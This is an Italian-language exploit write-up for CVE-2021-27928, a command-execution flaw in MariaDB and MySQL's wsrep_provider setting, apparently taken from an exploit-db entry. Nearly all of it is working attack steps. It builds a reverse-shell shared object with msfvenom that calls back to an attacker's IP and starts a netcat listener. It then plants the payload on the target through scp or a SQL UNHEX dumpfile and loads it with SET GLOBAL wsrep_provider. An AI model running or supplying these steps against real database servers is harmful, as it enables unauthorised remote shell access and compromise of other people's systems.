
CVE-2021-27928 MariaDB/MySQL-'wsrep provider' Vulnerabilità di iniezione di comandi
Exploit Title: MariaDB 10.2 /MySQL - Esecuzione di comandi OS tramite 'wsrep_provider'
Data: 03/18/2021
Autore Exploit: Central InfoSec
Versione:
MariaDB 10.2 prima di 10.2.37
10.3 prima di 10.3.28
10.4 prima di 10.4.18
10.5 prima di 10.5.9
Percona Server fino al 2021-03-03; e la patch wsrep fino al 2021-03-03 per MySQL
Testato su: Linux
CVE: CVE-2021-27928
Passo 1: Creare il payload della reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

Passo 2: Avviare un listener
nc -lnvp <port>

Passo 3: Copiare il payload sulla macchina target
Tramite SCP
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
Tramite Dumpfile
python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';
Passo 4:Eseguire il payload
mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

https://www.exploit-db.com/exploits/49765
https://jira.mariadb.org/browse/MDEV-25179
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928